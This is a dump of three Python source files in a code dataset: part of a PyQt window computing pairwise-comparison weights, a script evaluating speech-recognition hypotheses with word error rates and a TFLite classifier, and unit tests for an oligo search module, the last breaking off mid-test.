#2_4\n #Считаем СГ\n for i in range(int(self.level2EditValue)):\n self.sg2_4.append([])\n self.sg2_4[i] = 1\n for j in range(int(self.level2EditValue)):\n self.sg2_4[i] = float(self.sg2_4[i]) * float(self.mas2_4[i][j])\n self.sg2_4[i] = round(pow(float(self.sg2_4[i]), 1/float(self.level2EditValue)), 4)\n self.sg_sum2_4 += float(self.sg2_4[i])\n\n #Считаем НВ\n for i in range(int(self.level2EditValue)):\n self.nv2_4.append([])\n self.nv2_4[i] = float(self.sg2_4[i]) / float(self.sg_sum2_4)\n\n\n if self.level1EditValue > 4:\n #2_5\n #Считаем СГ\n for i in range(int(self.level2EditValue)):\n self.sg2_5.append([])\n self.sg2_5[i] = 1\n for j in range(int(self.level2EditValue)):\n self.sg2_5[i] = float(self.sg2_5[i]) * float(self.mas2_5[i][j])\n self.sg2_5[i] = round(pow(float(self.sg2_5[i]), 1/float(self.level2EditValue)), 4)\n self.sg_sum2_5 += float(self.sg2_5[i])\n\n #Считаем НВ\n for i in range(int(self.level2EditValue)):\n self.nv2_5.append([])\n self.nv2_5[i] = float(self.sg2_5[i]) / float(self.sg_sum2_5)\n\n\n #Стороим таблицу\n self.table2.setColumnCount(self.level1EditValue + 1)\n self.table2.setRowCount(self.level1EditValue + 1)\n self.table2.clear()\n\n for i in range(self.table2.columnCount() - 1):\n item = str(round(float(self.nv1[i]), 4))\n self.table2.setItem(0, i, QTableWidgetItem(item))\n self.table2.item(0, i).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n for i in range(1, self.table2.rowCount()):\n item = str(round(float(self.nv2_1[i - 1]), 4))\n self.table2.setItem(i, 0, QTableWidgetItem(item))\n self.table2.item(i, 0).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n for i in range(1, self.table2.rowCount()):\n item = str(round(float(self.nv2_2[i - 1]), 4))\n self.table2.setItem(i, 1, QTableWidgetItem(item))\n self.table2.item(i, 1).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 2:\n for i in range(1, self.table2.rowCount()):\n item = str(round(float(self.nv2_3[i - 1]), 4))\n self.table2.setItem(i, 2, QTableWidgetItem(item))\n self.table2.item(i, 2).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 3:\n for i in range(1, self.table2.rowCount()):\n item = str(round(float(self.nv2_4[i - 1]), 4))\n self.table2.setItem(i, 3, QTableWidgetItem(item))\n self.table2.item(i, 3).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 4:\n for i in range(1, self.table2.rowCount()):\n item = str(round(float(self.nv2_5[i - 1]), 4))\n self.table2.setItem(i, 4, QTableWidgetItem(item))\n self.table2.item(i, 4).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n temp = 0\n for i in range(0, self.level1EditValue):\n temp += float(self.nv1[i]) * float(self.nv2_1[i])\n item = str(round(float(temp), 4))\n self.table2.setItem(1, 5, QTableWidgetItem(item))\n self.table2.item(1, 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n temp = 0\n for i in range(0, self.level1EditValue):\n temp += float(self.nv1[i]) * float(self.nv2_2[i])\n item = str(round(float(temp), 4))\n self.table2.setItem(2, 5, QTableWidgetItem(item))\n self.table2.item(2, 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 2:\n temp = 0\n for i in range(0, self.level1EditValue):\n temp += float(self.nv1[i]) * float(self.nv2_3[i])\n item = str(round(float(temp), 4))\n self.table2.setItem(3, 5, QTableWidgetItem(item))\n self.table2.item(3, 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 3:\n temp = 0\n for i in range(0, self.level1EditValue):\n temp += float(self.nv1[i]) * float(self.nv2_4[i])\n item = str(round(float(temp), 4))\n self.table2.setItem(4, 5, QTableWidgetItem(item))\n self.table2.item(4, 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n if self.level1EditValue > 4:\n temp = 0\n for i in range(0, self.level1EditValue):\n temp += float(self.nv1[i]) * float(self.nv2_5[i])\n item = str(round(float(temp), 4))\n self.table2.setItem(5, 5, QTableWidgetItem(item))\n self.table2.item(5, 5).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n mainWindow = MainWindow()\n\n sys.exit(app.exec_())\n","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":26826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"278248967","text":"## Author: Hannes Dittmann\n## Version: 1.0\n## Email: hannes.dittmann@stud.hshl.de / hannes.dittmann@t-online.de\n## Status: Fertig\n## Kommentar: -Programm zum Auswerten von Hypothesen mit ausgewählten ASR System\n## - ground-truth und hypothese wird benötigt\n## - form : siehe datei\n## - Hier wird zwischen Ordnern unterschieden etc\n## - Jeweils für eine Netzwerkarchitektur wird getest, da muessen die flags und modelle angepasst werden\n\n##################################################\n\nfrom libraries.nlp import *\nimport tensorflow as tf\nimport numpy as np\nimport json\nfrom jiwer import wer, mer\nfrom numpy import savetxt\nglobals()\nnlp = nlp(rnn=True, embedded=True)\n\n## Daten I sind test daten und wurden vom netzwerk noch nicht gesehen\n## Daten Laden\nground_truth1 = nlp.loadJsons(\"ground_truthDeepspeech_DataI.json\")\nhypothesis1 = nlp.loadJsons(\"hypothesisDeepspeech_DataI.json\")\nlabelsTask1 = nlp.loadJsons(\"labelsTaskDeepspeech_DataI.json\")\nprocessingtime1 = nlp.loadJsons(\"processingtimeDeepspeech_DataI.json\")\n\nground_truth2 = nlp.loadJsons(\"ground_truthEspnetDataI.json\")\nhypothesis2 = nlp.loadJsons(\"hypothesisEspnetDataI.json\")\nlabelsTask2 = nlp.loadJsons(\"labelsTaskEspnetDataI.json\")\nprocessingtime2 = nlp.loadJsons(\"processingtimeEspnetDataI.json\")\n\nground_truth3 = nlp.loadJsons(\"ground_truthPocketDataI.json\")\nhypothesis3 = nlp.loadJsons(\"hypothesisPocketDataI.json\")\nlabelsTask3 = nlp.loadJsons(\"labelsTaskPocketDataI.json\")\nprocessingtime3 = nlp.loadJsons(\"processingtimePocketDataI.json\")\n\nground_truth4 = nlp.loadJsons(\"ground_truthIBM_DataI.json\")\nhypothesis4 = nlp.loadJsons(\"hypothesisIBM_DataI.json\")\nlabelsTask4 = nlp.loadJsons(\"labelsTaskIBM_DataI.json\")\nprocessingtime4 = nlp.loadJsons(\"processingtimeIBM_DataI.json\")\n\ngtall = [ground_truth1, ground_truth2, ground_truth3, ground_truth4]\nhtall = [hypothesis1, hypothesis2, hypothesis3, hypothesis4]\nlabelsall = [labelsTask1, labelsTask2, labelsTask3, labelsTask4]\nptall = [processingtime1, processingtime2, processingtime3, processingtime4]\ndata = []\n\n## nur die saetze aus test data_II\n'''\nwith open('test_data_II.json') as json_file:\n dataset = json.load(json_file)\n\nsentence = []\nlbl = []\n\nfor sent in dataset:\n lbl.append(sent[\"class\"])\n sentence.append(sent[\"sentence\"])\n\ngtall = [sentence]\nhtall = [sentence]\nptall = [0]\nlabelsall = [lbl]\n'''\n\n#scores = [score[0][\"task\"], score[0][\"unknow\"], score[0][\"iterationen\"]]\n\nnlp.words = nlp.readWords(\"../models/words_embedding.txt\")\nprint(len(nlp.words))\nnlp.vocab_size = len(nlp.words)\nnlp.modelTaskClassifier = tf.lite.Interpreter(\"../models/taskClassifierPhonWordEmbeddingRNN.tflite\") # Flags setzen!!\nnlp.modelTaskClassifier.allocate_tensors()\n\nfor i in range(len(gtall)):\n ground_truth = np.asarray(gtall[i])\n hypothesis = np.asarray(htall[i])\n labelsTask = labelsall[i]\n processingtime = ptall[i]\n confidence = []\n numclass1 = 0\n numclass2 = 0\n numclass3 = 0\n numclass4 = 0\n numclass5 = 0\n numclass6 = 0\n\n ## ab hier wird getestet\n for hypo in hypothesis:\n confidence.append(nlp.classifierTask(transcript=hypo))\n cnf2 = np.asarray(confidence)\n\n\n ###Auswertung###\n\n ## Mittlere Konfidenz\n mean_conf_r = 0 # richtige confidenz\n mean_conf_w = 0 # mit wieviel % liegt er falsch?\n\n i_r = 0 # anzahl richtige\n i_w = 0 # anzahl falsche\n wer_r = 0\n wer_w = 0\n wer_g = 0\n k = 0\n gt = []\n ht = []\n gt2 = []\n ht2 = []\n\n score_top = 0\n for cnf in enumerate(confidence):\n probs = list(cnf2[cnf[0]])\n max1 = max(probs)\n print(probs)\n idx1 = np.argmax(probs)\n probs[idx1] = 0\n idx2= np.argmax(probs)\n\n print(idx1)\n print(idx2)\n classified = np.argmax(cnf[1])\n wer2 = 0\n if ground_truth[k] == \" \":\n ground_truth[k] = \"none\"\n wer3 = wer(ground_truth[k], hypothesis[k])\n wer_g = wer_g + wer3\n #print(labelsTask[cnf[0]])\n print(classified)\n if idx1 == labelsTask[cnf[0]] or idx2 == labelsTask[cnf[0]]:\n score_top = score_top +1\n\n if classified == labelsTask[cnf[0]]:\n mean_conf_r = mean_conf_r + max(cnf[1])\n i_r = i_r + 1\n wer2 = wer(ground_truth[k], hypothesis[k])\n wer_r = wer_r + wer2\n gt2.append(ground_truth[k])\n ht2.append(hypothesis[k])\n\n elif classified != labelsTask[cnf[0]]:\n mean_conf_w = mean_conf_w + max(cnf[1])\n i_w = i_w + 1\n gt.append(ground_truth[k])\n ht.append(hypothesis[k])\n wer2 = wer(ground_truth[k], hypothesis[k])\n wer_w = wer_w + wer2\n if classified == 0:\n numclass1 = numclass1 + 1\n elif classified == 1:\n numclass2 = numclass2 + 1\n elif classified == 2:\n numclass3 = numclass3 + 1\n elif classified == 3:\n numclass4 = numclass4 + 1\n elif classified == 4:\n numclass5 = numclass5 + 1\n elif classified == 5:\n numclass6 = numclass6 + 1\n\n k = k+1\n\n numclass = np.asarray([numclass1, numclass2, numclass3, numclass4, numclass5, numclass6])\n mean_conf_r = mean_conf_r/i_r\n mean_conf_w = mean_conf_w/i_w\n wer_rg = (wer_r + wer_w)/(i_r+i_w)\n print(wer_rg)\n wer_r = wer_r/i_r\n wer_w = wer_w/i_w\n\n print(score_top)\n print(\"Anzahl richtige: \" + str(i_r))\n print(\"Anzahl falsche: \" + str(i_w))\n print(\"Accuracy: \" + str(i_r/len(labelsTask)))\n print(\"Top 2 Error: \" + str(score_top/len(labelsTask)))\n print(\"Mittlere Konfidenz bei den richtigen: \" + str(mean_conf_r))\n print(\"Mittlere Konfidenz bei den falschen: \" + str(mean_conf_w))\n print(\"Mittlere bei allen WER: \" + str(wer_rg))\n print(\"Mittlere WER bei richtigen \" + str(wer_r))\n print(\"Mittlere WER bei falschen \" + str(wer_w))\n print(\"Verteilung Falsche: \" + str(numclass/i_w))\n print(\"Transkriptionszeit: \" + str(np.mean(np.asarray(processingtime))))\n print(\"wer test fuer falsch: \" + str(wer(gt,ht)))\n print(\"wer test fuer richtig: \" + str(wer(gt2,ht2)))\n print(\"wer test gesamt: \" + str(wer_g/(2328+456)))\n\n arr = list([wer_rg, wer_r,wer_w,i_r/len(labelsTask),mean_conf_r, mean_conf_w])\n arr = arr + list(numclass/i_w)\n arr.append(np.mean(np.asarray(processingtime)))\n arr = np.asarray(arr)\n print(arr)\n data.append(arr)\n\n\nname = 'data.csv'\nif os.path.exists(name):\n os.remove(name)\n\nnp.savetxt(name, (data[1], data[2], data[0], data[3]),fmt='%f')#, data[1], data[2]), fmt='%f')\n# data0 = deepspeech hypothesis\n# data1 = espnet hypothesis\n# data2 = pocket hypothesis","sub_path":"Python/SpeechRecognition/asr_nlp_main_sr_eval/Evaluation_Data_I/evaluate_I.py","file_name":"evaluate_I.py","file_ext":"py","file_size_in_byte":6741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"30365521","text":"\"\"\"Tests for search module.\n\"\"\"\n\nimport logging\nimport random\nimport unittest\n\nimport numpy as np\n\nfrom adapt import alignment\nfrom adapt.utils import search\nfrom adapt.utils import index_compress\nfrom adapt.utils import lsh\n\n__author__ = 'Hayden Metsky , Priya P. Pillai '\n\n\nclass TestOligoSearcher(unittest.TestCase):\n def setUp(self):\n # Disable logging\n logging.disable(logging.WARNING)\n\n # Set a random seed so hash functions are always the same\n random.seed(0)\n\n self.seqs = ['ATCGAATTCG',\n 'GGGAGGGGGG',\n 'CCCCCCCCCC',\n 'AACGAATTCG']\n self.oligos = {'AATT', 'AGGG'}\n self.aln = alignment.Alignment.from_list_of_seqs(self.seqs)\n\n self.s = search.OligoSearcher(self.aln, 3, 5, (1, 1, 100),\n predictor=PredictorTest(), obj_type='max')\n\n # Create a generic searcher that can have its alignment overriden\n # (for testing construct_oligo)\n gen_seqs = ['AAAA']\n gen_aln = alignment.Alignment.from_list_of_seqs(gen_seqs)\n self.gen_s = search.OligoSearcherMinimizeNumber(1.0, 0,\n missing_data_params=(1, 1, 100), aln=gen_aln,\n min_oligo_length=4, max_oligo_length=4)\n\n def test_compute_memoized_and_cleanup_memo(self):\n def call_fn():\n return ('CGA', {0, 3}, 2)\n\n seq_needed = index_compress.compress_mostly_contiguous({0,1,2,3})\n key = (frozenset({(0, frozenset(seq_needed))}), None)\n def key_fn():\n return key\n\n self.assertEqual(len(self.s._memo), 0)\n first_call = self.s._compute_memoized(3, call_fn, key_fn)\n self.assertEqual(first_call, ('CGA', {0, 3}, 2))\n self.assertIn(key, self.s._memo)\n self.assertEqual(len(self.s._memo), 1)\n second_call = self.s._compute_memoized(3, call_fn, key_fn)\n self.assertIs(first_call, second_call)\n self.assertIn(key, self.s._memo)\n self.assertEqual(len(self.s._memo), 1)\n\n def call_fn():\n return ('GAA', {0, 3}, 2)\n\n def key_fn():\n raise Exception(\"_compute_memoized should not call key_fn if \"\n \"use_last is True\")\n\n third_call = self.s._compute_memoized(4, call_fn, key_fn, use_last=True)\n self.assertEqual(third_call, ('GAA', {0, 3}, 2))\n self.assertIn(key, self.s._memo)\n self.assertEqual(len(self.s._memo), 1)\n\n self.s._cleanup_memo(3)\n self.assertIn(key, self.s._memo)\n self.s._cleanup_memo(4)\n self.assertNotIn(key, self.s._memo)\n\n def test_overlaps_ignored_range(self):\n seqs = ['AAAAAAAAAAAAAAAAAAAAA']\n aln = alignment.Alignment.from_list_of_seqs(seqs)\n\n ignored_ranges = {(3, 8), (15, 19)}\n\n s = search.OligoSearcher(aln, 3, 5, (1, 1, 100),\n ignored_ranges=ignored_ranges, obj_type='max')\n\n # For each position i, encode 1 if the oligo (length 3, 4, or 5\n # respectively) starting at i overlaps a ignored range, and 0 otherwise\n does_overlap_3 = '011111110000011111100'\n does_overlap_4 = '111111110000111111100'\n does_overlap_5 = '111111110001111111100'\n\n for i in range(len(seqs[0])):\n self.assertEqual(s._overlaps_ignored_range(i),\n (does_overlap_3[i] == '1'))\n self.assertEqual(s._overlaps_ignored_range(i, olg_len=3),\n (does_overlap_3[i] == '1'))\n self.assertEqual(s._overlaps_ignored_range(i, olg_len=4),\n (does_overlap_4[i] == '1'))\n self.assertEqual(s._overlaps_ignored_range(i, olg_len=5),\n (does_overlap_5[i] == '1'))\n\n def test_oligo_set_activities_per_oligo(self):\n self.s._selected_positions = {'AATT': [4], 'AGGG': [3]}\n\n per_olg_activities, activities = self.s.oligo_set_activities_per_oligo(\n 2, 8, self.oligos)\n np.testing.assert_equal(activities, np.array([2, 2, 0, 2],))\n self.assertIn('AATT', per_olg_activities)\n self.assertIn('AGGG', per_olg_activities)\n np.testing.assert_equal(per_olg_activities['AATT'], np.array([2, 0, 0, 2]))\n np.testing.assert_equal(per_olg_activities['AGGG'], np.array([0, 2, 0, 0]))\n\n def test_oligo_set_activities(self):\n self.s._selected_positions = {'AATT': [4], 'AGGG': [3]}\n\n activities = self.s.oligo_set_activities(2, 8, self.oligos)\n np.testing.assert_equal(activities, np.array([2, 2, 0, 2]))\n\n activities_percentile = self.s.oligo_set_activities_percentile(2, 8,\n self.oligos, [5, 50])\n self.assertEqual(activities_percentile, [0, 2])\n\n activities_expected = self.s.oligo_set_activities_expected_value(2, 8,\n self.oligos)\n self.assertEqual(activities_expected, 1.5)\n\n activities_expected = self.s.oligo_set_activities_expected_value(2, 8,\n self.oligos, activities=[0, 2, 0, 2])\n self.assertEqual(activities_expected, 1)\n\n def test_oligo_activities_expected_value(self):\n self.s._selected_positions = {'AATT': [4], 'AGGG': [3]}\n\n aatt = self.s.oligo_activities_expected_value(2, 8, 'AATT')\n self.assertEqual(aatt, 1.0)\n\n aggg = self.s.oligo_activities_expected_value(2, 8, 'AGGG')\n self.assertEqual(aggg, 0.5)\n\n def test_oligo_set_activities_expected_value_per_oligo(self):\n self.s._selected_positions = {'AATT': [4], 'AGGG': [3]}\n\n per_olg_expected = self.s.oligo_set_activities_expected_value_per_oligo(\n 2, 8, self.oligos)\n\n self.assertIn('AATT', per_olg_expected)\n self.assertIn('AGGG', per_olg_expected)\n self.assertEqual(per_olg_expected['AATT'], 4/3)\n self.assertEqual(per_olg_expected['AGGG'], 1)\n\n def test_find_oligos_for_each_window(self):\n s = OligoSearcherTest(self.aln, 3, 5, (1, 1, 100),\n predictor=PredictorTest(), obj_type='max')\n olgs_win = [(0, 7, {'CGAAT', 'ATC'}),\n (1, 8, {'GAATT', 'TCG'}),\n (2, 9, {'AATTC', 'CGA'}),\n (3, 10, {'ATTCG', 'GAA'})]\n\n self.assertEqual(len(s._memo), 0)\n for i, p in enumerate(s._find_oligos_for_each_window(7)):\n self.assertIn(0, s._memo)\n self.assertIn(i, s._memo[0])\n self.assertNotIn(i-1, s._memo[0])\n self.assertEqual(p, olgs_win[i])\n self.assertNotIn(3, s._memo[0])\n\n\n def test_construct_oligo_a(self):\n seqs = ['ATCGAA', 'ATCGAT', 'AYCGAA', 'AYCGAT', 'AGCGAA']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,1,2,3})\n self.assertAlmostEqual(score, .8)\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {2,3}})\n self.assertIn(olg, ['ATCG','ACCG'])\n self.assertEqual(olg_seqs, {2,3})\n self.assertAlmostEqual(score, .4)\n olg, olg_seqs, score = self.gen_s.construct_oligo(1, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'TCGA')\n self.assertEqual(olg_seqs, {0,1,2,3})\n self.assertAlmostEqual(score, .8)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAA')\n self.assertEqual(olg_seqs, {0,2,4})\n self.assertAlmostEqual(score, .6)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3}})\n self.assertIn(olg, ['CGAA','CGAT'])\n if olg == 'CGAA':\n self.assertEqual(olg_seqs, {0,2})\n else:\n self.assertEqual(olg_seqs, {1,3})\n self.assertAlmostEqual(score, .4)\n self.gen_s.mismatches = 1\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,1,2,3,4})\n self.assertAlmostEqual(score, 1)\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {4}})\n self.assertEqual(olg, 'AGCG')\n self.assertEqual(olg_seqs, {4})\n self.assertAlmostEqual(score, .2)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAA')\n self.assertEqual(olg_seqs, {0,1,2,3,4})\n self.assertAlmostEqual(score, 1)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3}})\n self.assertIn(olg, ['CGAA','CGAT'])\n self.assertEqual(olg_seqs, {0,1,2,3})\n self.assertAlmostEqual(score, .8)\n self.gen_s.mismatches = 2\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAA')\n self.assertEqual(olg_seqs, {0,1,2,3,4})\n self.assertAlmostEqual(score, 1)\n\n def test_construct_oligo_b(self):\n seqs = ['ATCGAA', 'ATC-AA']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n with self.assertRaises(search.CannotConstructOligoError):\n # Should fail when the only sequence given (1) has an indel\n self.gen_s.construct_oligo(0, 4, {0: {1}})\n\n def test_construct_oligo_ambiguous(self):\n # Alignment has many Ns, which makes it difficult to write test cases\n # when clustering (the clusters tend to consist of oligos in\n # which a position only has N); so pass None to clusterer in\n # construct_oligo() to skip clustering\n self.gen_s.clusterer = None\n seqs = ['ATCGAA', 'ATNNAT', 'ATCGNN', 'ATNNAT', 'ATNNAC']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,2})\n self.assertAlmostEqual(score, .4)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAA')\n self.assertEqual(olg_seqs, {0})\n self.assertAlmostEqual(score, .2)\n with self.assertRaises(search.CannotConstructOligoError):\n # Should fail when 'N' is all that exists at a position\n self.gen_s.construct_oligo(0, 4, {0: {1,3,4}})\n self.gen_s.mismatches = 1\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,2})\n self.assertAlmostEqual(score, .4)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAT')\n self.assertEqual(olg_seqs, {0})\n self.assertAlmostEqual(score, .2)\n with self.assertRaises(search.CannotConstructOligoError):\n # Should fail when a potential oligo (here, 'CGAC') cannot\n # bind to any sequence because they all have 'N' somewhere\n self.gen_s.construct_oligo(2, 4, {0: {2,4}})\n self.gen_s.mismatches = 2\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,1,2,3,4})\n self.assertAlmostEqual(score, 1)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAT')\n self.assertEqual(olg_seqs, {0,1,2,3})\n self.assertAlmostEqual(score, .8)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {2,3,4}})\n self.assertIn(olg, ['CGAC','CGAT'])\n if olg == 'CGAC':\n self.assertEqual(olg_seqs, {2,4})\n else:\n self.assertEqual(olg_seqs, {2,3})\n self.assertAlmostEqual(score, .4)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {2,4}})\n self.assertEqual(olg, 'CGAC')\n self.assertEqual(olg_seqs, {2,4})\n self.assertAlmostEqual(score, .4)\n self.gen_s.mismatches = 3\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, 4, {0: {0,1,2,3,4}})\n self.assertEqual(olg, 'CGAT')\n self.assertEqual(olg_seqs, {0,1,2,3,4})\n self.assertAlmostEqual(score, 1)\n\n def test_construct_oligo_with_large_group_needed(self):\n seqs = ['ATCGAA',\n 'ATCGAA',\n 'GGGCCC',\n 'ATCGAA',\n 'ATCGAA',\n 'ATCGAA',\n 'GGGCCC']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n\n seqs_to_consider = {0: {0, 1, 3, 4, 5}, 1: {2, 6}}\n percent_needed = {0: 3/7, 1: 1/7}\n # 'ATCGAA' is most sequences, and let's construct a oligo by\n # needing more from the group consisting of these sequences\n olg, olg_seqs, score = self.gen_s.construct_oligo(\n 0, 4, seqs_to_consider, percent_needed=percent_needed)\n self.assertEqual(olg, 'ATCG')\n self.assertEqual(olg_seqs, {0,1,3,4,5})\n self.assertAlmostEqual(score, 3/7)\n\n def test_construct_oligo_with_small_group_needed(self):\n seqs = ['ATCGAA',\n 'ATCGAA',\n 'GGGCCC',\n 'ATCGAA',\n 'ATCGAA',\n 'ATCGAA',\n 'GGGCCC']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n\n seqs_to_consider = {0: {0, 1, 3, 4, 5}, 1: {2, 6}}\n percent_needed = {0: 1/7, 1: 2/7}\n # 'ATCGAA' is most sequences, but let's construct a oligo by\n # needing more from a group consisting of the 'GGGCCC' sequences\n olg, olg_seqs, score = self.gen_s.construct_oligo(\n 0, 4, seqs_to_consider, percent_needed=percent_needed)\n self.assertEqual(olg, 'GGGC')\n self.assertEqual(olg_seqs, {2,6})\n self.assertAlmostEqual(score, 2/7)\n\n def test_construct_oligo_with_suitable_fn(self):\n seqs = ['GTATCAAAT',\n 'CTACCAAAA',\n 'GTATCAAAT',\n 'GTATCAAAT']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n oligo_length = 6\n self.gen_s.min_oligo_length = oligo_length\n self.gen_s.max_oligo_length = oligo_length\n seqs_to_consider = {0: {0, 1, 2, 3}}\n self.gen_s.clusterer = alignment.SequenceClusterer(\n lsh.HammingDistanceFamily(oligo_length), k=3)\n self.gen_s.mismatches = 1\n\n # The best oligo is 'GTATCA'\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, oligo_length,\n seqs_to_consider)\n self.assertEqual(olg, 'GTATCA')\n self.assertEqual(olg_seqs, {0,2,3})\n self.assertAlmostEqual(score, .75)\n\n # Do not allow oligos with 'TAT' in them\n def f(oligo):\n if 'TAT' in oligo:\n return False\n else:\n return True\n prev_suitable_fns = self.gen_s.pre_filter_fns\n self.gen_s.pre_filter_fns = prev_suitable_fns + [f]\n\n # Now the best oligo is 'CTACCA'\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, oligo_length,\n seqs_to_consider)\n self.assertEqual(olg, 'CTACCA')\n self.assertEqual(olg_seqs, {1})\n self.assertAlmostEqual(score, .25)\n\n # Do not allow oligos with 'A' in them\n def f(oligo):\n if 'A' in oligo:\n return False\n else:\n return True\n self.gen_s.pre_filter_fns = prev_suitable_fns + [f]\n\n # Now there is no suitable oligo\n with self.assertRaises(search.CannotConstructOligoError):\n self.gen_s.construct_oligo(0, oligo_length, seqs_to_consider)\n\n def test_construct_oligo_with_predictor(self):\n seqs = ['GTATCAAAT',\n 'ATACCAAAA',\n 'GTATCAAAT',\n 'GTATCAAAT']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n oligo_length = 6\n self.gen_s.min_oligo_length = oligo_length\n self.gen_s.max_oligo_length = oligo_length\n seqs_to_consider = {0: {0, 1, 2, 3}}\n self.gen_s.clusterer = alignment.SequenceClusterer(\n lsh.HammingDistanceFamily(oligo_length), k=3)\n self.gen_s.mismatches = 1\n\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, oligo_length,\n seqs_to_consider)\n self.assertEqual(olg, 'GTATCA')\n self.assertEqual(olg_seqs, {0,2,3})\n self.assertAlmostEqual(score, .75)\n\n # Only predict oligos starting with start_base to be active\n class PredictorTest:\n def __init__(self, start_base):\n self.context_nt = 0\n self.min_activity = 0\n self.start_base = start_base\n def determine_highly_active(self, start_pos, pairs):\n y = []\n for target, oligo in pairs:\n y += [oligo[0] == self.start_base]\n return y\n self.gen_s.predictor = PredictorTest('A')\n # Now the best oligo is 'ATACCA'\n olg, olg_seqs, score = self.gen_s.construct_oligo(0, oligo_length,\n seqs_to_consider,\n stop_early=False)\n self.assertEqual(olg, 'ATACCA')\n self.assertEqual(olg_seqs, {1})\n self.assertAlmostEqual(score, .25)\n\n # Only predict oligos starting with 'A' to be active, and impose an\n # early stopping criterion\n # With early stopping, it will not find a oligo\n with self.assertRaises(search.CannotConstructOligoError):\n self.gen_s.construct_oligo(0, oligo_length, seqs_to_consider)\n\n self.gen_s.predictor = PredictorTest('C')\n # Now there is no suitable oligo\n with self.assertRaises(search.CannotConstructOligoError):\n self.gen_s.construct_oligo(0, oligo_length, seqs_to_consider)\n\n def test_construct_oligo_with_required_flanking(self):\n seqs = ['TCAAAT',\n 'CCAAAA',\n 'CATTTT',\n 'CATTTT',\n 'CATTTT',\n 'CATTTT',\n 'CATTTT',\n 'CATTTT',\n 'CATTTT',\n 'TCAAAT',\n 'TCAAAT']\n self.gen_s.aln = alignment.Alignment.from_list_of_seqs(seqs)\n oligo_length = 2\n self.gen_s.min_oligo_length = oligo_length\n self.gen_s.max_oligo_length = oligo_length\n self.gen_s.clusterer = alignment.SequenceClusterer(\n lsh.HammingDistanceFamily(oligo_length),\n k=2)\n seqs_to_consider = {0: set(range(len(seqs)))}\n self.gen_s.mismatches = 1\n\n # The best oligo at start=2 is 'TT', but if we require\n # 'C' to flank on the 5' end, the best is 'AA'\n self.gen_s.required_flanking_seqs = ('C', None)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, oligo_length,\n seqs_to_consider)\n self.assertEqual(olg, 'AA')\n self.assertEqual(olg_seqs, {0,1,9,10})\n self.assertAlmostEqual(score, 4/11)\n\n # The best oligo at start=2 is 'TT', but if we require\n # 'C' to flank on the 5' end, the best is 'AA'\n # Now if we require 'M' on the 5' end, 'TT' will be the best oligo\n self.gen_s.required_flanking_seqs = ('M', None)\n olg, olg_seqs, score = self.gen_s.construct_oligo(2, oligo_length,\n seqs_to_consider)\n\n self.assertEqual(olg, 